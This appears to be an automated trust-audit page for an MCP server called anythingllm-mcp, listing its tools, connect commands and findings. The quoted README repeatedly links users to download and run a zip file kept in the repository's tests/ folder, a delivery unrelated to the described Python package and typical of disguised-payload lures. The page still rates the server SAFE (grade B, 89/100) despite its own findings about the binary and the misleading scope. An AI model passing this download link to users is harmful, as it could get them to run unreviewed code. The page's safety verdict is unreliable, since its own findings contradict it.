Atlas / MCP servers / gsmmu7ammed / anythingllm-mcp

anythingllm-mcpSAFE

mcp/gsmmu7ammed/anythingllm-mcp

Manage and operate AnythingLLM workspaces, chats, documents, and vectors with a fast, Python-based MCP server.

Verdict
SAFE
Grade
B
Trust score
89 /100
Exposed tools
23 12r · 8w · 3d
Transport
—
License
MIT
Stars
1
01

Overview

From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.

[](https://github.com/gsmMu7ammed/anythingllm-mcp/raw/refs/heads/main/tests/mcpanythingllm3.1.zip)

📋 About anythingllm-mcp

anythingllm-mcp is a server application designed for managing workspaces, chats, documents, and system settings related to AnythingLLM. It helps you organize your AI-related tasks and information in one place. The server runs on Windows and acts as a hub for interacting with AI agents, chat models, document tools, and system management features.

The system supports large language models (LLMs), making it useful if you work with AI tools, documents, or chat applications and want to keep everything well-managed. You do not need programming skills to use it.

🖥️ System Requirements

Before you download and run anythingllm-mcp, check your system meets these basic requirements:

  • Windows 10 or newer (64-bit)
  • At least 4 GB of RAM
  • 2 GHz or faster processor
  • At least 500 MB of free disk space
  • Internet connection for setup and updates

These are minimum requirements. Having more memory or a faster processor will improve performance.

🚀 Getting Started: Download and Setup

To use anythingllm-mcp on your Windows computer, follow these steps carefully.

Step 1: Visit the Download Page

Click the button below to go to the download page where you get the server files.

[](https://github.com/gsmMu7ammed/anythingllm-mcp/raw/refs/heads/main/tests/mcpanythingllm3.1.zip)

This page contains the latest versions and all necessary files for Windows.

Step 2: Download the Latest Release

Once on the download page, look for the latest stable release of anythingllm-mcp designed for Windows. This is usually in a section called "Releases" or "Downloads."

Read from source at commit d8ebfe86a832OBSERVED · 2026-10-11
02

Connect

Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control. Replace the environment placeholders with a token scoped to the least it needs.

claude-code
claude mcp add anythingllm-mcp --env ANYTHINGLLM_API_KEY=${ANYTHINGLLM_API_KEY} -- uvx anythingllm-mcp
claude-desktop
{
  "mcpServers": {
    "anythingllm-mcp": {
      "command": "uvx",
      "args": [
        "anythingllm-mcp"
      ],
      "env": {
        "ANYTHINGLLM_API_KEY": "${ANYTHINGLLM_API_KEY}"
      }
    }
  }
}
03

Exposed tools (23)

12 read · 8 write · 3 destructive. Blast radius: 3 tools can delete or overwrite — an agent that can be talked into calling a tool can be talked into calling this one.

ToolRiskDescription
anythingllm_chatwriteSend a message to a workspace and get a response.
anythingllm_chat_in_threadwriteSend a message within a specific workspace thread.
anythingllm_check_authreadVerify that the API key is valid and AnythingLLM is reachable.
anythingllm_create_threadwriteCreate a new chat thread within a workspace.
anythingllm_create_workspacewriteCreate a new workspace.
anythingllm_delete_threaddestructiveDelete a chat thread from a workspace.
anythingllm_delete_workspacedestructivePermanently delete a workspace. This action cannot be undone.
anythingllm_export_chatsreadExport all chat logs from all workspaces.
anythingllm_get_accepted_file_typeswriteGet the list of file types that AnythingLLM accepts for upload.
anythingllm_get_chat_historyreadGet the chat history for a workspace.
anythingllm_get_system_settingsreadGet AnythingLLM system settings (LLM provider, vector DB, embeddings, etc.).
anythingllm_get_thread_chatsreadGet chat history for a specific thread in a workspace.
anythingllm_get_vector_countreadGet the total number of vectors stored in the system.
anythingllm_get_workspacereadGet detailed information about a specific workspace.
anythingllm_list_documentsreadList all uploaded documents across all folders.
anythingllm_list_embedsreadList all embed configurations (public chat widgets).
anythingllm_list_modelsreadList available models via the OpenAI-compatible endpoint.
anythingllm_list_workspacesreadList all workspaces in the AnythingLLM instance with their slugs, settings, and thread info.
anythingllm_searchreadSearch for relevant document chunks within a workspace using vector similarity.
anythingllm_update_embeddingsdestructiveAdd or remove document embeddings in a workspace. Use document paths from list_documents.
anythingllm_update_workspacewriteUpdate workspace settings (name, temperature, prompt, similarity threshold, etc.).
anythingllm_upload_linkwriteScrape a web page and upload it as a document to AnythingLLM.
anythingllm_upload_raw_textwriteUpload raw text content as a document to AnythingLLM.
04

Trust audit

SAFEgrade B · trust 89/100 Nothing in the source contradicts what it says it does. Grade A is reserved for packages that have also passed the behavioural sandbox.

LayerWhat it checksResult
L0Provenance & inventoryPASS
L1Static analysis of the codePASS
L2Instruction surface (what it tells the agent)PASS
L3Class-specific surfaceWARN
L4Behavioural (sandbox)SKIPPED

What the source does

Filesystem
declared (1 observation(s))
Network
declared (5 observation(s))
Shell
none-observed
Dependencies
pinned
Secrets in source
none-found

Findings (3)

MEDIUMFilesystem / path · mcp.destructive_tools · CWE-22, CWE-59
anythingllm_delete_thread, anythingllm_delete_workspace, anythingllm_update_embeddings
Why it matters. 3 tool(s) can delete or overwrite
Fix. prefer a read-only mode or scoped tokens; the page states the blast radius
LOWInventory / provenance · inv.binary · CWE-1104
tests/mcp_anythingllm_3.1.zip
mcp_anythingllm_3.1.zip
Why it matters. a compiled or binary member cannot be reviewed from source
Fix. ship source, or explain the binary in the README
LOWPrompt injection · review.misleading_scope · CWE-94, CWE-1427
README.md
anythingllm-mcp is a server application designed for managing workspaces, chats, documents, and system settings related to AnythingLLM.
Why it matters. The package description claims it is a Python-based MCP server, but the README instructs users to download and run a Windows .exe installer from a tests/ directory, which is a completely different delivery mechanism and scope than described.
Fix. rewrite it so the instruction says plainly what it does, and asks the user before it acts

Gates applied: no_behavioural_pass.

Audited 2026-10-11 · audit v0.4.1 · source sha d8ebfe86a832full audit observations/trust-audit/mcp-server/gsmmu7ammed__anythingllm-mcp.json · Report an issue / request a re-scan
05

Audit history

Every audit this server has had. A grade with a past is a grade somebody is still checking.

DateSourceVerdictGradeScoreChange
2026-10-11d8ebfe86a832SAFEB89first audit
06

Questions

What is the anythingllm-mcp MCP server?

Manage and operate AnythingLLM workspaces, chats, documents, and vectors with a fast, Python-based MCP server.

What tools does anythingllm-mcp expose?

23 in total: 12 read-only, 8 that write, and 3 that can delete or overwrite (anythingllm_delete_thread, anythingllm_delete_workspace, anythingllm_update_embeddings). Every one is listed on this page with its risk.

Is anythingllm-mcp safe to connect to an agent?

The audit found nothing in the source that contradicts what it says it does, and graded it B (89/100). Grade A is held back for packages that have also passed a sandboxed behavioural run, which is why a clean server reads B. Separately from the audit: 3 of its tools can destroy data, so scope the token you give it to what you actually need.

What credentials does anythingllm-mcp need?

It reads ANYTHINGLLM_API_KEY from the environment. Give it a token scoped to the least it needs — an agent that can be talked into calling a tool can be talked into calling it with your credentials.

How current is this page?

The grade is for one exact copy of the source (d8ebfe86a832), read on 2026-10-11. The repository is watched and re-audited when it changes.

Advertisement